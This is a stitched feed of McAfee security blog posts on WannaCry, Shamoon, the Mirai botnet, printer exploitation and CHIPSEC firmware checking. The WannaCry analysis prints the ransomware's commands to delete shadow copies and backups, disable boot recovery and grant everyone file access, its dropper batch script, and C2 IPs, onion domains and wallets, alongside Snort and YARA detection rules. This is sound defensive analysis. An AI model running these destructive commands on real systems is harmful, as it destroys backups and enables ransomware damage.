With MS17-010, the attacker can use just one exploit to get remote access with system privileges, meaning both steps (Remote Code Execution +Local Privilege Escalation combined) use just one bug in the SMB protocol. Analyzing the exploit code in Metasploit, a popular hacking tool, we see the exploit uses KI_USER_SHARED_DATA, which has a fixed memory address (0xffdff000 on 32-bit Windows) to copy the payload and transfer control to it later.

By remotely gaining control over a victim’s PC with system privileges without any user action, the attacker can spray this malware in the local network by having control over one system inside this network (gaining control over all systems that are not fixed and are affected by this vulnerability), and that one system will spread the ransomware to all vulnerable Windows systems not patched for MS17-010.

Behavior

By using command-line commands, the Volume Shadow copies and backups are removed:

Cmd /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

File size of the ransomware is 3.4MB (3514368 bytes).

Authors called the ransomware WANNACRY—the string hardcoded in samples.

Ransomware is writing itself into a random character folder in the ProgramData folder with the filename tasksche.exe or in the C:\Windows\ folder with the filename mssecsvc.exe and tasksche.exe.

Examples

C:\ProgramData\lygekvkj256\tasksche.exe

C:\ProgramData\pepauehfflzjjtl340\tasksche.exe

C:\ProgramData\utehtftufqpkr106\tasksche.exe

c:\programdata\yeznwdibwunjq522\tasksche.exe

C:\ProgramData\uvlozcijuhd698\tasksche.exe

C:\ProgramData\pjnkzipwuf715\tasksche.exe

C:\ProgramData\qjrtialad472\tasksche.exe

c:\programdata\cpmliyxlejnh908\tasksche.exe

 

The ransomware grants full access to all files by using the command:

Icacls . /grant Everyone:F /T /C /Q

 

Using a batch script for operations:

176641494574290.bat 

 

Content of batch file (fefe6b30d0819f1a1775e14730a10e0e)

echo off

echo SET ow = WScript.CreateObject(“WScript.Shell”)> m.vbs

echo SET om = ow.CreateShortcut(“C:\

WanaDecryptor

.exe.lnk”)>> m.vbs

echo om.TargetPath = “C:\

WanaDecryptor

.exe”>> m.vbs

echo om.Save>> m.vbs

cscript.exe //nologo m.vbs

del m.vbs

del /a %0

Content of M.vbs

SET ow = WScript.CreateObject(“WScript.Shell”)

SET om = ow.CreateShortcut(“C:\

WanaDecryptor

.exe.lnk”)

om.TargetPath = “C:\

WanaDecryptor

om.Save

 

Indicators of compromise

Hashes

dff26a9a44baa3ce109b8df41ae0a301d9e4a28ad7bd7721bbb7ccd137bfd696

201f42080e1c989774d05d5b127a8cd4b4781f1956b78df7c01112436c89b2c9

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

c365ddaa345cfcaff3d629505572a484cff5221933d68e4a52130b8bb7badaf9

09a46b3e1be080745a6d8d88d6b5bd351b1c7586ae0dc94d0c238ee36421cafa

b9c5d4339809e0ad9a00d4d3dd26fdf44a32819a54abf846bb9b560d81391c25

aae9536875784fe6e55357900519f97fee0a56d6780860779a36f06765243d56

21ed253b796f63b9e95b4e426a82303dfac5bf8062bfe669995bde2208b360fd

2372862afaa8e8720bc46f93cb27a9b12646a7cbc952cc732b8f5df7aebb2450

24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c

f8812f1deb8001f3b7672b6fc85640ecb123bc2304b563728e6235ccbe782d85

4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79

4b76e54de0243274f97430b26624c44694fbde3289ed81a160e0754ab9f56f32

9cc32c94ce7dc6e48f86704625b6cdc0fda0d2cd7ad769e4d0bb1776903e5a13

78e3f87f31688355c0f398317b2d87d803bd87ee3656c5a7c80f0561ec8606df

be22645c61949ad6a077373a7d6cd85e3fae44315632f161adc4c99d5a8e6844

5d26835be2cf4f08f2beeff301c06d05035d0a9ec3afacc71dff22813595c0b9

76a3666ce9119295104bb69ee7af3f2845d23f40ba48ace7987f79b06312bbdf

fc626fe1e0f4d77b34851a8c60cdd11172472da3b9325bfe288ac8342f6c710a

eeb9cd6a1c4b3949b2ff3134a77d6736b35977f951b9c7c911483b5caeb1c1fb

043e0d0d8b8cda56851f5b853f244f677bd1fd50f869075ef7ba1110771f70c2

57c12d8573d2f3883a8a0ba14e3eec02ac1c61dee6b675b6c0d16e221c3777f4

ca29de1dc8817868c93e54b09f557fe14e40083c0955294df5bd91f52ba469c8

f7c7b5e4b051ea5bd0017803f40af13bed224c4b0fd60b890b6784df5bd63494

3e6de9e2baacf930949647c399818e7a2caea2626df6a468407854aaa515eed9

9b60c622546dc45cca64df935b71c26dcf4886d6fa811944dbc4e23db9335640

5ad4efd90dcde01d26cc6f32f7ce3ce0b4d4951d4b94a19aa097341aff2acaec

24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c

12d67c587e114d8dde56324741a8f04fb50cc3160653769b8015bc5aec64d20b

85ce324b8f78021ecfc9b811c748f19b82e61bb093ff64f2eab457f9ef19b186

3f3a9dde96ec4107f67b0559b4e95f5f1bca1ec6cb204bfe5fea0230845e8301

 

IP Addresses

  • 197.231.221.221:9001
  • 128.31.0.39:9191
  • 149.202.160.69:9001
  • 46.101.166.19:9090
  • 91.121.65.179:9001
  • 2.3.69.209:9001
  • 146.0.32.144:9001
  • 50.7.161.218:9001
  • 217.79.179.177:9001
  • 213.61.66.116:9003
  • 212.47.232.237:9001
  • 81.30.158.223:9001
  • 79.172.193.32:443
  • 38.229.72.16:443

Domains

  • iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com (sinkholed)
  • Rphjmrpwmfv6v2e[dot]onion
  • Gx7ekbenv2riucmf[dot]onion
  • 57g7spgrzlojinas[dot]onion
  • xxlvbrloxvriy2c5[dot]onion
  • 76jdd2ir2embyv47[dot]onion
  • cwwnhwhlz52maqm7[dot]onion

Filenames

  • @Please_Read_Me@.txt
  • @WanaDecryptor@.exe
  • @WanaDecryptor@.exe.lnk
  • Please Read Me!.txt (Older variant)
  • C:\WINDOWS\tasksche.exe
  • C:\WINDOWS\qeriuwjhrf
  • 131181494299235.bat
  • 176641494574290.bat
  • 217201494590800.bat
  • [0-9]{15}.bat #regex
  • !WannaDecryptor!.exe.lnk
  • 00000000.pky
  • 00000000.eky
  • 00000000.res
  • C:\WINDOWS\system32\taskdl.exe

 

Bitcoin Wallets

  • 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
  • 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
  • 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Here is a snort rule submitted to Sans from Marco Novak:

alert tcp $HOME_NET 445 -> any any (msg:”ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response”; flow:from_server,established; content:”|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|”; depth:16; fast_pattern; content:”|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|”; distance:0; flowbits:isset,ETPRO.ETERNALBLUE; classtype:trojan-activity; sid:2024218; rev:2;)

And other SNORT rules from Emerging Threats:

(http://docs.emergingthreats.net/bin/view/Main/2024218)

alert smb any any -> $HOME_NET any (msg:”ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Request (set)”; flow:to_server,established; content:”|00 00 00 31 ff|SMB|2b 00 00 00 00 18 07 c0|”; depth:16; fast_pattern; content:”|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|”; distance:0; flowbits:set,ETPRO.ETERNALBLUE; flowbits:noalert; classtype:trojan-activity; sid:2024220; rev:1;)

alert smb $HOME_NET any -> any any (msg:”ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response”; flow:from_server,established; content:”|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|”; depth:16; fast_pattern; content:”|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|”; distance:0; flowbits:isset,ETPRO.ETERNALBLUE; classtype:trojan-activity; sid:2024218; rev:1;)

 

Yara:

rule wannacry_1 : ransom

{

meta:

author = “Joshua Cannell”

description = “WannaCry Ransomware strings”

weight = 100

date = “2017-05-12”

 

Strings:

$s1 = “Ooops, your files have been encrypted!” wide ascii nocase

$s2 = “Wanna Decryptor” wide ascii nocase

$s3 = “.wcry” wide ascii nocase

$s4 = “WANNACRY” wide ascii nocase

$s5 = “WANACRY!” wide ascii nocase

$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase

 

Condition:

any of them

}

rule wannacry_2{

meta:

author = “Harold Ogden”

description = “WannaCry Ransomware Strings”

date = “2017-05-12”

weight = 100

strings:

$string1 = “msg/m_bulgarian.wnry”

$string2 = “msg/m_chinese (simplified).wnry”

$string3 = “msg/m_chinese (traditional).wnry”

$string4 = “msg/m_croatian.wnry”

$string5 = “msg/m_czech.wnry”

$string6 = “msg/m_danish.wnry”

$string7 = “msg/m_dutch.wnry”

$string8 = “msg/m_english.wnry”

$string9 = “msg/m_filipino.wnry”

$string10 = “msg/m_finnish.wnry”

$string11 = “msg/m_french.wnry”

$string12 = “msg/m_german.wnry”

$string13 = “msg/m_greek.wnry”

$string14 = “msg/m_indonesian.wnry”

$string15 = “msg/m_italian.wnry”

$string16 = “msg/m_japanese.wnry”

$string17 = “msg/m_korean.wnry”

$string18 = “msg/m_latvian.wnry”

$string19 = “msg/m_norwegian.wnry”

$string20 = “msg/m_polish.wnry”

$string21 = “msg/m_portuguese.wnry”

$string22 = “msg/m_romanian.wnry”

$string23 = “msg/m_russian.wnry”

$string24 = “msg/m_slovak.wnry”

$string25 = “msg/m_spanish.wnry”

$string26 = “msg/m_swedish.wnry”

$string27 = “msg/m_turkish.wnry”

$string28 = “msg/m_vietnamese.wnry”

condition:

any of ($string*)

}

 

McAfee urges all its customers to ensure McAfee’s DAT updates have been applied to ensure the latest protection. We furthermore advise customers to be diligent in applying security updates for all the software solutions they use.

For more information on McAfee’s response to WannaCry, please read this Knowledge Center article.

The post An Analysis of the WannaCry Ransomware Outbreak appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/analysis-wannacry-ransomware-outbreak/feed/ 5
The State of Shamoon: Same Actor, Different Lines https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/state-shamoon-actor-different-lines/ https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/state-shamoon-actor-different-lines/#respond Wed, 26 Apr 2017 05:01:39 +0000 https://securingtomorrow.mcafee.com/?p=72669 Naming the recent data-wiping attacks in Saudi Arabia as a continuation of the Shamoon campaign suggests that we are dealing with identical malware and procedures. However, there are fundamental differences between the campaigns of 2012 and 2016‒17, and these differences provide a fascinating insight into the development process of the attackers. When we look at […]

The post The State of Shamoon: Same Actor, Different Lines appeared first on McAfee Blogs.

]]>
Naming the recent data-wiping attacks in Saudi Arabia as a continuation of the Shamoon campaign suggests that we are dealing with identical malware and procedures. However, there are fundamental differences between the campaigns of 2012 and 2016‒17, and these differences provide a fascinating insight into the development process of the attackers.

When we look at this campaign from a high level (preceding image) and at the shared characteristics (in red), we find quite a lot in common. Let’s examine in more detail:

When we look more closely into the phases of the cyberattack “kill chain,” and their modus operandi, we see differences that lead to more questions, as well as interesting findings.

Reconnaissance

In the reconnaissance phase of the 2012 attacks, the adversaries used scanning tools and a pirated copy of penetration-testing software Acunetix Security Scanner to find possible vulnerabilities on the victims’ outward-facing servers. An example of this scanning follows in an excerpt from an intrusion detection system log:

After finding a possible exploit, the adversaries uploaded web shells to gain remote access and used the web shells’ functionality to harvest usernames and credentials.

In analyzing attacks, we look at the capabilities and skills actors use. In examining how well an adversary knows its target and infrastructure, we classify this type of noisy scanning and hoping for an exploit as novice behavior. The attacker is hoping for a lucky shot instead of gathering detailed information during the reconnaissance phase.

In the 2016 attack, the reconnaissance phase consisted of spear-phishing attacks, with well-prepared spoofed domains and documents falsified as from certain trustworthy corporate and public-sector organizations. These documents were weaponized with malicious macros to download and execute a variety of backdoor threats. From 2012 we know publicly of two major attacks on victims in the petrochemical industry. In 2016‒17 the attacks were focused on multiple sectors including public, petrochemical, finance but were intended to disrupt a single country: Saudi Arabia.

Weaponization

Once the adversaries gathered the credentials needed to weaponize the wiper malware component, they generally used accounts that would give the right amount of privileges to spread the malware as far as possible through the network. One interesting difference was that in the 2012 case that attackers also inserted default credentials of industrial control systems (ICS) equipment. Clearly the attack was aimed not only at the victims’ office networks but also attempted to disrupt the ICS environments.

In both cases, when the hardcoded date was reached, the wiper started to erase the disks. In 2012 the wiped machines reported to an internal control server that the destruction was a success. In the 2016 Shamoon samples, we found a control server component but to our knowledge it was not used to track the status of destruction.

In one URL parameter (also mentioned by our peers in the industry analyzing this campaign) we find an interesting word:

GET hxxp://server/category/page.php?shinu=ja1p9/

The word shinu can be translated to “what?” in Persian Gulf Arabic slang or “listen” in Farsi.

Until now we have compared the 2012 and 2016‒17 attacks. During our investigation and those by our peers in the industry, we have discovered many relations to other campaigns that used the same domains, whois registrants, or code. One of the examples we found was the reuse of code and exploits used in an attack by the Rocket Kitten group in spring 2016 and its reappearance in the 2016 Shamoon attacks.

A code excerpt from a macro used by Rocket Kitten since spring 2016:

A code excerpt from a macro used in a spear-phishing attack by Shamoon in 2016:

Our peers mentioned some other artifacts that referred to the OilRig campaign, in which Saudi Arabian organizations were targeted using Excel documents that included macros. The macros’ VBS code ran PowerShell and communicated via DNS tunneling.

From an operational security perspective—“How well do the attackers hide details or information about themselves?”—we gave them a low score in both campaigns. Although we saw some manipulation on purpose, for example, the resource language in the 2016 wiper was Yemeni Arabic (likely a reference to the political conflict in the region), and the “wiping picture” accompanied by a photo of the dead Syrian boy on the beach. Still plenty of information was left behind, for example, the reuse of infrastructure and code as well as program database paths in the malware that normally would be removed.

From a risk-analysis perspective, we would give the 2012 adversaries a certain score based on factors such as stealth, operations security, precision, and other factors. If we were to do the same for the 2016‒2017 attacks, we would award a higher score. For example, the attack precision increased due to using spear phishing with payloads instead of using noisy scanning and web shells. Also, the time of persistence in the networks increased compared with that of the 2012 attacks.

Due to the large scale of the attack in 2016‒2017, we saw mistakes in maintaining operational security. We strongly believe that this was caused by the involvement of different groups/individuals with different skills, whereas in 2012 we believe one group was responsible for the attack.

Development cycle

With five years between the attacks, we have likely seen a nation-state actor grow in cyber-offensive capacity and skills. Where once pirated software was used for vulnerability scanning, which can be easily detected by intrusion detection or prevention systems, we now find targeted spear phishing with weaponized documents. And instead of batch scripts, the use of PowerShell scripts and DNS tunneling demonstrates a major increase in the attackers’ expertise.

Note: We wish to acknowledge the efforts of McAfee’s Advanced Programs Group for that team’s extensive contributions to the actor and adversary part of this research.

Want more information? Check out the Q&A or Summary Blog on this topic, and follow us on Twitter @McAfee.

The post The State of Shamoon: Same Actor, Different Lines appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/state-shamoon-actor-different-lines/feed/ 0
Shamoon Returns, Bigger and Badder https://securingtomorrow.mcafee.com/business/shamoon-returns-bigger-badder/ https://securingtomorrow.mcafee.com/business/shamoon-returns-bigger-badder/#respond Wed, 26 Apr 2017 05:01:26 +0000 https://securingtomorrow.mcafee.com/?p=72660 In November 2016, we published a blog that drew comparisons between samples that we had received to that of the 2012 ‘Shamoon’ campaign. Since November, there has been a considerable amount of research corroborating our initial assertions, which we have reviewed against our own continuing analysis. We found that the latest Shamoon campaigns are attacking […]

The post Shamoon Returns, Bigger and Badder appeared first on McAfee Blogs.

]]>
In November 2016, we published a blog that drew comparisons between samples that we had received to that of the 2012 ‘Shamoon’ campaign. Since November, there has been a considerable amount of research corroborating our initial assertions, which we have reviewed against our own continuing analysis. We found that the latest Shamoon campaigns are attacking a wider range of organizations, they are connected to other notable campaigns, and the increase in sophistication suggests investment, collaboration and coordination beyond that of a single hacker group, but rather that of the comprehensive operation of a nation-state. This blog, and the technical details (also now published) is a summary of our continued research into the comparison and growth of the attacks from 2012 – 2017.

A wider group of targets 

In the original campaign, the targets were predominantly focused on the energy sector within Saudi Arabia. In the current instance, we have evidence that the scope of targeted verticals has widened from energy to the public sector, financial services, and others. Although the scope of targets has widened, all the samples we received targeted organizations in Saudi Arabia.

The approach taken by the attackers was all too familiar: once a target was identified, they used spear phishing email as the initial entry vector. From as far back as September 2016, the attackers sent these emails to individuals within target organizations. The messages contained Microsoft Office files embedded with macros, which facilitated back-door access to the organizations. With the necessary reconnaissance concluded, the actors initiated the weaponization of the attack with the intention of disrupting key organizations across Saudi Arabia:

  • Attack Wave 1: Wipe systems on November 17, 2016, at 20:45 Saudi time.
  • Attack Wave 2: Wipe systems on November 29, 2016, at 01:30 Saudi time.
  • Attack Wave 3: Began January 23, 2017, and ongoing, with similar samples and methods and TTPs as in Waves 1 and 2.

The process of wiping infected systems loaded a different image to the original campaign, but with the same devastating effect. The scale of attack—with multiple waves of attacks—suggests a coordinated effort to disrupt a nation that is new compared to the previous campaign.

Links to other campaigns

The linkage to the previous campaign was based on the fact that much of the code was the same; indeed our assessment concluded that there was a 90% reuse of code from the 2012 attacks. However, our examination of this reuse of code led us to identify code from other attack campaigns. For example, code used in the macros from the latest spear-phishing campaign was seen in attacks conducted by the Rocket Kitten hacking group, and the infrastructure used we identified as that used by the Oil-RIG campaign.

Although the current attackers may have connections with a particular nation-state, our analysis focused on the notable increase in the technical expertise since the 2012 campaign. For example, in 2012, the actors moved quickly in and out of the victim network, inflicting system-wipe damage and then disappearing. In 2016, the actors penetrated networks and established remote control to gather intelligence for future planned wiping attacks.

A broader community of collaborators

Based on these and other key differences, we strongly believe that the 2016-17 campaigns benefitted from the development effort of a much wider community of collaborating hacking groups. The recent attacks demonstrate greater technical expertise, yet the wide-ranging nature of the campaign involved many other actors that did not necessarily have the same level of technical expertise as other participants. Poor Operational Security procedures suggest that some parts of the attacks were executed by less experienced operators. Furthermore, it is true that malware can be designed to contain indicators that attribute their attacks to other actors.

Based on our years of investigation into the Shamoon attacks, we do not believe this misdirection tactic was used in the cases we examined.

Though we can argue about the term sophistication, one thing is clear.  This campaign was significantly larger, well-planned, and an intentional attempt to disrupt key organizations and the country of Saudi Arabia.

Attacks on banks in East Asia and on corporations remind us that cyber espionage and system-wiping campaigns are not unique to the Middle East. Rogue state and stateless actors have been known to use similar cyber tools and tactics to achieve military and intelligence objectives they would otherwise be unable to accomplish. Actors such as these have been known to obtain these and other technologies from the black market, if not from each other directly.

To that end, there is no indication that the attackers will not come back again, and, as this latest Shamoon ‘reboot’ has shown, they will come back bigger and stronger again, and again.

Note: We wish to acknowledge the efforts of McAfee’s Advanced Programs Group for that team’s extensive contributions to the actor and adversary part of this research.

For details on this research, please see the McAfee Strategic Intelligence technical blog in Executive Perspectives.

Want even more information? Check out the Q&A blog on this topic and follow us on Twitter @McAfee.

The post Shamoon Returns, Bigger and Badder appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/shamoon-returns-bigger-badder/feed/ 0
Mirai Botnet Creates Army of IoT Orcs https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mirai-botnet-creates-army-iot-orcs/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mirai-botnet-creates-army-iot-orcs/#respond Thu, 20 Apr 2017 23:10:09 +0000 https://securingtomorrow.mcafee.com/?p=71831 This post was based on analysis by Yashashree Gund and RaviKant Tiwari. There is a lot of speculation in the news about surveillance from home appliances, personal electronics, or other Internet of Things (IoT) devices. Although some statements may be hyperbole, we know that these devices, in homes and offices, are being compromised and used […]

The post Mirai Botnet Creates Army of IoT Orcs appeared first on McAfee Blogs.

]]>
This post was based on analysis by Yashashree Gund and RaviKant Tiwari.

There is a lot of speculation in the news about surveillance from home appliances, personal electronics, or other Internet of Things (IoT) devices. Although some statements may be hyperbole, we know that these devices, in homes and offices, are being compromised and used to attack others.

On October 21, 2016, the first major cyberattack using IoT devices as weapons was a massive flood of network traffic aimed at Dyn, a company that operates domain name and traffic optimization services. Peak traffic was measured at 1.2Tbps, the highest ever recorded for this type of attack. Analysis revealed that the attack came from a large number of webcams, compromised by Mirai botnet malware.

Mirai infects most IoT devices by scanning for open Telnet or SSH ports, and then using a short dictionary of common default usernames and passwords to break into vulnerable devices. After gaining entry, the malware drops a small binary program on the device, which fetches the full Mirai bot executable. Each infected bot searches for other vulnerable IoT devices, rapidly expanding the botnet. A network scan conducted by McAfee in late 2016 identified 40,000 infected IoT devices active and online, about 2.5 million infected devices that were offline, and about five devices newly infected every minute.

During the infection phase, the control server monitors the infection process until it “owns” enough IoT devices for whatever campaign the attacker has planned. When the attacker decides to initiate an attack, commands are sent to the bots to select the attack type and target. Mirai is capable of executing almost a dozen attack types at different layers, making it difficult to intercept. When the attacker determines that countermeasures are reducing the effectiveness of one attack type, Mirai can quickly switch to another type, working at the network, transport, or application layers.

Before the October attack on Dyn, the Mirai source code was released, and several Mirai-based botnets began offering attacks-as-a-service, using up to 100,000 bots, for less than $0.08 per bot. Since the source code release, additional Mirai variants have surfaced, as other cybercriminals look to build on the success of this malware family. We expect a steady release of new variants, targeting different devices, attack types, antidefense measures, and evasion techniques. The source code and attack-as-a-service offerings have made Mirai available to a wide range of individuals, greatly expanding the list of potential victims.

To test Mirai’s attack methods and infection speed, we set up a “honeypot,” simulating a vulnerable IoT device. (Watch our video.) Within a minute, we registered the first attempt to log in with default credentials.

We also monitored Mirai attack activity during a two-day period and counted 34 attacks by multiple Mirai botnets, mostly against targets in the United States, but also some in Germany, the Netherlands, and the United Kingdom. Targets were mostly gaming servers, as well as a few individuals, web shops, a dating site, and even another attack site. This would appear to confirm that even amateur attackers can use Mirai for their own ends.

The best defense against Mirai attacks on IoT devices is to change default passwords and usernames, and to use strong and unique passwords across all devices. The list of passwords used by Mirai to compromise IoT devices is disturbingly short and basic, including variations of “12345,” “admin,” “password,” “default,” and the name of the manufacturer. To bolster defenses, keep IoT device software up to date, segment IoT devices from other parts of the network, disable unused device services and ports, and periodically power-cycle IoT devices.

For more information on Mirai and best practices for securing your network and IoT devices, download the McAfee Labs Threats Report: April 2017.

The post Mirai Botnet Creates Army of IoT Orcs appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mirai-botnet-creates-army-iot-orcs/feed/ 0
Are Printers Becoming Yet Another IoT-Based Threat? https://securingtomorrow.mcafee.com/business/printers-becoming-yet-another-iot-based-threat/ https://securingtomorrow.mcafee.com/business/printers-becoming-yet-another-iot-based-threat/#respond Mon, 27 Mar 2017 15:00:52 +0000 https://securingtomorrow.mcafee.com/?p=70732 Over the past couple of months, a lot has been written about the Mirai botnet that was targeting vulnerable devices connected to the Internet. And based on the embedded password list, we can determine that the targets were diverse– from IP-camera’s, DVR’s, TV receivers, routers to printers. Printers? Yes, printers. Over the years, these devices […]

The post Are Printers Becoming Yet Another IoT-Based Threat? appeared first on McAfee Blogs.

]]>
Over the past couple of months, a lot has been written about the Mirai botnet that was targeting vulnerable devices connected to the Internet. And based on the embedded password list, we can determine that the targets were diverse– from IP-camera’s, DVR’s, TV receivers, routers to printers. Printers? Yes, printers. Over the years, these devices have been transforming into full, multi-functional servers, often including embedded webservers  for administrative purposes. But what many companies don’t realize is that these functionalities expose their printer to the Internet, actually better said, they open a backdoor to their company.

Back in 2007, during Red-Team exercises, we were using a tool developed by the hacking team Phenoelit called ‘Hijetter’.

By connecting to the Jetdirect engine over tcp port 9100, one would be able to acquire the configuration settings. What we used mostly was the ability to upload files. By uploading a custom port scanner written in Java, one could use the printer as a scanning device and bypass network white-listening in many cases, especially since no one expects a printer to attack internally.

There are many ways to attack a printer but in my humble opinion, the biggest two are either using it as a gateway into a company’s network or to dump information in order to obtain credentials.

In 2014, the security world was shaken up by the reveal of the ‘Heartbleed’ vulnerability in the OpenSSL cryptographic software library. By executing the exploit, an attacker could read the memory of the target’s machine and obtain credentials without leaving a trace.

The same kind of attack can be executed against internal, internet-connected printers.

But how exactly can this be done? As part of his master thesis, Jens Mueller researched the security of printers and how to hack them. Besides his detailed paper and website, he created a tool called ‘PRET’ – “Printer Exploitation Exploit Kit.”

The kit is able to execute a diversity of commands towards a printer, of course, once a connection is established (each command is well explained on his github page).

Though it is always interesting to learn about the configuration of the printer,—it has no password set, which means everybody inside the company and also from the outside world can connect and configure this printer.

Though the many options threat actors have to obtain info are concerning, like searching for other printers in the network by using SNMP, the option ‘NVRAM’ in particular really triggered me. NVRAM is used to store long-term settings, mostly those implemented by using FLASH RAM or an EEPROM.  By using the option ‘nvram dump’, a threat actor can empty the NVRAM content of the printer and read credentials like POP3, domain credentials etc.

Here’s an example of executing this command:

To get an idea of how widespread this attack could be, we used the search-engine Shodan and looked for a particular combination that we knew is vulnerable to this attack.

Using two brands in particular, we searched for the ‘multifunction’ versions of the printers, which resulted in over 5000 hits belonging to the USA, South Korea, Australia, Japan, Germany and Canada. In two particular cases, a TV Broadcast station and a certain University in the US had a whole range of their printers connected to the Internet. Both institutes could be exposed through an attack and could be controlled remotely without leaving a trace.

As it turns out, we found several issues with regards to the PS and PJL printer protocols, including potential scenarios that could cause physical damage to the printer. You heard correctly. By overwriting values in NVRAM, the printer could be physically damaged and no longer work properly.

Therefore, it’s important to know that when adversaries are launching targeted attacks towards a company, the first phase is reconnaissance. After cybercriminals evaluate the information they’ve gathered, they’ll select the method of penetration with the goal of forming a beach-head in order to infiltrate the target’s network. So, when a printer is exposed to the internet, it easily gives away a beach-head and the adversary could operate undetected.

With this in mind, companies need to start asking themselves what would justify connecting printers to the internet, and what risks it could mean for their enterprise. This means from both an external and internal connection perspective. So, moral of the story: adequate (but workable) security measures should be taken to limit the possibility to misuse the printer.

The post Are Printers Becoming Yet Another IoT-Based Threat? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/printers-becoming-yet-another-iot-based-threat/feed/ 0
A New Angle on Cyber-attacks: Medical Conditions Become Targets https://securingtomorrow.mcafee.com/business/new-angle-cyber-attacks-medical-conditions-become-targets/ https://securingtomorrow.mcafee.com/business/new-angle-cyber-attacks-medical-conditions-become-targets/#respond Fri, 24 Mar 2017 21:06:39 +0000 https://securingtomorrow.mcafee.com/?p=70711 When reading the news over the past few days, the following article posted by the Washington Post triggered something in me: ‘Seizure-inducing tweet leads to a new kind of prosecution’. In short, the case is about a journalist named Kurt Eichenwald, who suffers from epilepsy and received a Tweet late last year containing a flashing […]

The post A New Angle on Cyber-attacks: Medical Conditions Become Targets appeared first on McAfee Blogs.

]]>
When reading the news over the past few days, the following article posted by the Washington Post triggered something in me: ‘Seizure-inducing tweet leads to a new kind of prosecution’. In short, the case is about a journalist named Kurt Eichenwald, who suffers from epilepsy and received a Tweet late last year containing a flashing image. The journalist claimed to have suffered from a seizure due to the tweet. The actor’s motive for sending the Tweet containing the animated strobe image was revenge for a critical piece the journalist wrote on President Trump. He probably never thought of the possibility of being convicted for “aggressive assault with a deadly weapon”.

Figure 1Picture of image sent to victim [source justice.gov]
Normally, someone’s medical condition is not publicly available unless you openly discuss it on social media. But, I have to wonder, was this a one-of-a-kind situation or is this something we need to start becoming more aware of?

Last year, we reported several occasions of ransomware attacks targeting the healthcare sector, a sector that was formerly a no-go for most cybercriminals. Besides ransomware, 2016 was also the year where databases with patient-records and PII were being offered on the underground markets (see our report)

What if someone buys a database from a hospital, selects all epileptic patients, combines it with other leaked data around social accounts, and sends an ‘extortion note’ to the hospital? I bet that gave you the same chills as it did me.

Past research by Barnaby Jack has demonstrated vulnerabilities in insulin pumps, and he was looking into pacemakers right before he passed away. What if vulnerabilities in these devices are matched up with leaked patient records?

I have no intention to scare you, but do want to create awareness around the possible scenarios that could develop if we are not paying attention. We need to work better together, discuss the risks, and unite to help. That way, we can truly protect and defend the vulnerable people in our society.

The post A New Angle on Cyber-attacks: Medical Conditions Become Targets appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/new-angle-cyber-attacks-medical-conditions-become-targets/feed/ 0
CHIPSEC Support Against Vault 7 Disclosure Scanning https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/ https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/#comments Thu, 09 Mar 2017 07:09:36 +0000 https://securingtomorrow.mcafee.com/?p=70292 Following recent WikiLeaks Vault 7 disclosures, including details regarding firmware vulnerabilities, there has been significant concern regarding the integrity of devices and operating systems used within society. As part of our commitment to provide technology that can preserve the integrity of devices we rely upon, we have developed a simple module for the CHIPSEC framework […]

The post CHIPSEC Support Against Vault 7 Disclosure Scanning appeared first on McAfee Blogs.

]]>
Following recent WikiLeaks Vault 7 disclosures, including details regarding firmware vulnerabilities, there has been significant concern regarding the integrity of devices and operating systems used within society.

As part of our commitment to provide technology that can preserve the integrity of devices we rely upon, we have developed a simple module for the CHIPSEC framework that can be used to verify the integrity of EFI firmware executables on potentially impacted systems.

This work is based on many years of dedicated research conducted by the Advanced Threat Research team  within the field of firmware security. CHIPSEC is a framework for analyzing the security of PC platforms including hardware, system firmware (BIOS/UEFI), and platform components. It includes a security test suite, tools for accessing various low-level interfaces, and forensic capabilities. It can be run on Windows, Linux, Mac OS X, and UEFI shell. Instructions for installing and using CHIPSEC can be found in the manual.

NOTE: This software is for security testing purposes. Use at your own risk. Read WARNING.txt before using.

The framework is available at this link: https://github.com/chipsec/chipsec

 

The following outlines a method that can be used to scan system firmware to determine whether it has been modified. The example we present shows the UEFI rootkit found in the HackingTeam disclosure. To test against the most recent disclosures, a known clean list of EFI executable binaries (whitelist) must be developed and can be checked.

Below is an example of using the new tools.uefi.whitelist module on a UEFI firmware image modified to include HackingTeam’s UEFI rootkit.

  1. Generate a whitelist of EFI executable binaries from a clean/original UEFI firmware image (file named “original” in the example below). The list is generated in “original.json.” (This step assumes that there’s a way to obtain a good clean image.) In our example, 276 EFI executables were extracted from the original UEFI firmware image.

# chipsec_main -i -n -m tools.uefi.whitelist -a generate,original.json,original

 

 

[x][ =======================================================================

[x][ Module: Simple whitelist generation/checking for UEFI firmware

[x][ =======================================================================

 

